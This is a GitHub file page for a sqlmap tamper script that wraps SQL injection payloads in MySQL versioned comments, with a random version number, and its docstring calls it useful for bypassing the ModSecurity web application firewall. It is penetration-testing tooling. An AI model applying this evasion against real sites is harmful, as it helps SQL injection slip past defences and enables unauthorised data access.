FilesExpand file tree

 master

/

modsecurityversioned.py

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

47 lines (35 loc) · 1.04 KB

 master

/

modsecurityversioned.py

Copy path

Top

File metadata and controls

• Code
• Blame

47 lines (35 loc) · 1.04 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

#!/usr/bin/env python

"""

Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)

See the file 'doc/COPYING' for copying permission

"""

from lib.core.common import randomInt

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies():

pass

def tamper(payload, **kwargs):

"""

Embraces complete query with versioned comment

Requirement:

* MySQL

Tested against:

* MySQL 5.0

Notes:

* Useful to bypass ModSecurity WAF/IDS

>>> import random

>>> random.seed(0)

>>> tamper('1 AND 2>1--')

'1 /*!30874AND 2>1*/--'

"""

retVal = payload

if payload:

postfix = ''

for comment in ('#', '--', '/*'):

if comment in payload:

postfix = payload[payload.find(comment):]

payload = payload[:payload.find(comment)]

break

if ' ' in payload:

retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

return retVal